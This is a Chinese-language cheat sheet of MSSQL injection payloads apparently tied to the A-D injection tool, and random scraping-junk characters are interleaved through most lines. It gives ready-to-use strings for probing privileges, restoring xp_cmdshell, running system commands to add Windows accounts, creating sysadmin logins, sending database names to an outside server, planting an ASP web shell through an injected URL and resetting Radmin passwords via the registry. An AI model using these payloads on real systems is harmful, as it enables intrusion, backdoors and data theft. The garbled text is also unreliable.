阿D常用的一些注入命令
1 [0 ]! _/ |. l& g+ J//看看是什么权限的/ `7 K/ n2 O; `, H5 J: F" m/ }" C6 F
and 1=(Select IS_MEMBER('db_owner')), ?) X0 T+ J8 @# Z7 ?2 d; H
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
0 D; F3 R' ], c! Z+ E1 V+ k" K4 a$ l; Z8 U! G3 U
//检测是否有读取某数据库的权限
5 k: z5 h: f# p* l5 f4 U* \and 1= (Select HAS_DBACCESS('master'))
0 u, Z% G Y2 LAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
2 F1 J+ D; |/ ^0 l" S
# G0 k" j* B# V. f( O B
- V. |# r1 I# w数字类型3 x* z$ r \3 O$ g
and char(124)%2Buser%2Bchar(124)=0
2 h, y; U) M0 G& _: |. g2 N9 O$ ~6 g
字符类型
$ _6 f! S8 d6 x% e0 w+ A8 K* Q' and char(124)%2Buser%2Bchar(124)=0 and ''='
9 k0 }7 G- X3 ^8 M: a+ A2 w' q% N7 `+ K
搜索类型8 }: z: `: x, `. y7 i
' and char(124)%2Buser%2Bchar(124)=0 and '%'='& f4 n2 G( w- C, j8 h% L+ k+ o6 Z
) I, _- I0 o5 A7 _0 F( J6 r
爆用户名
, x, q* P8 E" q0 f& band user>0* K; `5 k/ `) z$ A* Y8 s
' and user>0 and ''='
8 F8 M3 n# F9 O0 |
H- H( ?! h) o检测是否为SA权限
% i$ [9 v" X1 h/ F! A/ x$ @4 A6 Q6 kand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
, t- M, B* v3 ~' b3 _And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
9 c, h: O% [) e+ B* J4 @: h4 ^+ u- C9 p
检测是不是MSSQL数据库
t& N) O) T# F. G( P( hand exists (select * from sysobjects);--
: N1 u* F. X; D8 S: M# \' D8 S
$ o/ }' v n8 Y+ i检测是否支持多行" y( R5 G1 H7 }+ E" P
;declare @d int;-- . v' _" V, j _) _6 r2 _
0 W- a! B( X5 A1 ]恢复 xp_cmdshell
* p- F1 u1 i+ c. f. A' _+ o;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--7 [- A! [& i S) w7 {
. ?# j& s) @- K. H0 y; k$ O3 l! |& M1 O& Y
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') + r1 A: r' D. M: S# q, T, @
, l6 n) q' T& p- d' y//-----------------------$ @: D7 [. H4 P5 p
// 执行命令
* ^) e. z' g. q/ u4 ?0 N! h//-----------------------0 a* R: @: v8 n/ i( Y8 |$ ?
首先开启沙盘模式:
# @; Z* ?/ V( Y, M0 e! e* P# pexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1% X5 B4 b) x7 F& Q
4 [0 S* H/ n7 ], O) a然后利用jet.oledb执行系统命令
) {: e$ E7 @" Hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')9 W" [6 P( }% S' w# V. _' E
; w. C7 \* X/ ?, q ?4 ]* r; h
执行命令
# ~3 ]$ i- B7 X# O: D;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--+ Z k' a$ P5 z' [- q8 K
9 H8 ]6 D6 C$ B; a. \# p8 j6 ]
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
) G1 w1 \7 U# S, B7 J9 n9 q( Z( W7 l- K0 x" u
判断xp_cmdshell扩展存储过程是否存在:
2 Z8 W0 A! p+ F: P) ehttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
1 K- k5 V( s( g3 F, L, t( v
/ [1 L$ `9 a, r; A9 u写注册表
3 [0 C4 p( t/ d; Y' kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
' ~ c5 |6 k; }/ k& L
$ N6 z% t# w7 k. PREG_SZ
( n% O* E. H9 l6 h- Y5 Z$ y
3 x9 Q9 j+ r0 _读注册表
5 D- F. @0 y& Mexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
' K# B1 H6 c, i5 e0 I4 n4 P) F7 Z+ P: {: J
读取目录内容( j ?, d ]! K. \5 q- d+ _
exec master..xp_dirtree 'c:\winnt\system32\',1,1
* ^# I7 g% i8 J% ?; j; z! [/ d. z5 n2 ?( M0 v+ Y% b
8 X5 H) k- O+ m$ M/ F
数据库备份
5 q! W$ m, n! e$ mbackup database pubs to disk = 'c:\123.bak'
R" F7 n4 t* s1 P) E3 M ~
# B* P! Y# k6 y; F1 Q//爆出长度
! j5 v+ O! @: jAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
: O$ Q) { p( e2 I& ]' J8 o# J8 ]. E* Y4 S/ q2 ^. I4 e% t, M* O
+ U' H7 a# h7 u7 [8 ^% J( [( j* ]# G! u) t' |1 o, W. ?: t# L
更改sa口令方法:用sql综合利用工具连接后,执行命令:# @& L4 y" L. w n# a# h
exec sp_password NULL,'新密码','sa'/ h& U Q5 u. Y
b4 x( q# O8 E! R8 M添加和删除一个SA权限的用户test:
# c6 q6 l! t) W$ z2 M" I, K$ X' e& Q5 Nexec master.dbo.sp_addlogin test,ptlove' S- B. \! t) a2 u2 D
exec master.dbo.sp_addsrvrolemember test,sysadmin
" r2 y6 ]2 I' k) M7 O' \8 n) G0 I
删除扩展存储过过程xp_cmdshell的语句: , \! L6 m& G# u
exec sp_dropextendedproc 'xp_cmdshell'$ F# ]% w( } r, i6 n$ n& F
# j" s( T- ~: t0 ^. a
添加扩展存储过过程+ `+ O: S& x$ d1 J4 b2 I# i% x( \
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
1 X; z. G# e: h. d' b8 F. [GRANT exec On xp_proxiedadata TO public ( c; P8 j1 m' O
: K4 \; ~0 X: y4 w2 o
1 [. p/ S/ |8 E2 X: E停掉或激活某个服务。 + d/ n* s6 C! c
9 A$ `' F4 C. J0 E8 D& c
exec master..xp_servicecontrol 'stop','schedule'/ B) N% M8 T+ }" R
exec master..xp_servicecontrol 'start','schedule'
! o" k2 E5 Z, _- w" t8 G" `! z6 {, Y h& H& D- Q
dbo.xp_subdirs, z9 T, K5 X( D1 s% B& N+ Y: N
+ ]2 r7 x( \+ L2 ~ G* o
只列某个目录下的子目录。
% m3 \1 T1 d2 L0 V% J3 v4 Wxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
7 B- B9 u- l3 l# r
, a. G \$ o: R" v- j0 ~dbo.xp_makecab, z( [ I. H+ U% V" |+ u1 g4 H
8 ] {0 s( t- Y4 o将目标多个档案压缩到某个目标档案之内。
3 G( h6 P- E) Z- M% _ Y7 D所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。" _ g( g' x2 ~5 T+ m1 R% [1 f `; S
1 _; d( B) h6 }$ q* idbo.xp_makecab8 _# ?1 i* g+ J% ]$ N( p- s
'c:\test.cab','mszip',1,
# N* \' O$ x8 }3 R'C:\Inetpub\wwwroot\SQLInject\login.asp',
' V7 B% x3 E: [( R: v. I'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
. D8 m3 K f7 o$ q, C( G$ o# \6 H* e# t% R! B, a) {* ]
xp_terminate_process
( X8 N6 [5 f: P0 [2 B# U. Q: g; y$ C7 a7 [, t# g
停掉某个执行中的程序,但赋予的参数是 Process ID。/ S& s: b7 k# Q# ^
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
. r9 e9 Y7 [. ? z2 P
' V- L( W1 `3 K) mxp_terminate_process 2484
8 J& }9 p8 v8 R6 n/ j& k) t# ~$ S
, G2 g1 J* ]/ N1 q: e" Uxp_unpackcab
0 Z2 h2 H5 @4 Z% |9 A. c5 u# v& D3 W3 L3 \* o1 }/ n
解开压缩档。
8 }& B% `. b, m7 \: d6 \- W9 u
xp_unpackcab 'c:\test.cab','c:\temp',1
$ x, Y7 l- K5 r
2 T* H0 H& w* C
( |* I' O6 \. H) [某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234: r% z" X" G# A( m
' g# e3 q. |/ p9 d; R3 A* }
create database lcx;; `0 n# }" y1 t0 H/ k/ d) {, O( u
Create TABLE ku(name nvarchar(256) null);
: }0 U$ j% \5 c! yCreate TABLE biao(id int NULL,name nvarchar(256) null);
6 Y+ s3 Z4 K# P: `9 P/ P5 k' e
- L8 [' @ {9 H( ~//得到数据库名1 s( i' d) |. F( l) c# i
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases/ V$ s4 G2 O4 V h1 o+ Z
: T# P3 w1 i' t) `; ^$ z x
8 K; o' S c' _3 X+ a
//在Master中创建表,看看权限怎样4 [8 G* G0 T- C) z2 F/ T7 ~
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
; u. n: H2 V4 {
1 G' Z7 r8 w) j( T3 `" }用 sp_makewebtask直接在web目录里写入一句话马:
# g) e& ^) Z2 w+ M: C3 @http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--0 U) ?. H4 Q% S, U2 P& y- Y
! s5 a' `2 b5 S' @' ~) J//更新表内容6 z; |9 P; K! k& X
Update films SET kind = 'Dramatic' Where id = 123
9 v, Z; \% Q4 ^6 \$ u, m8 h, [
! w0 |; F; I" ]" M$ v, Z//删除内容# l& z3 I9 O, P" R; F7 I3 V
delete from table_name where Stockid = 3 |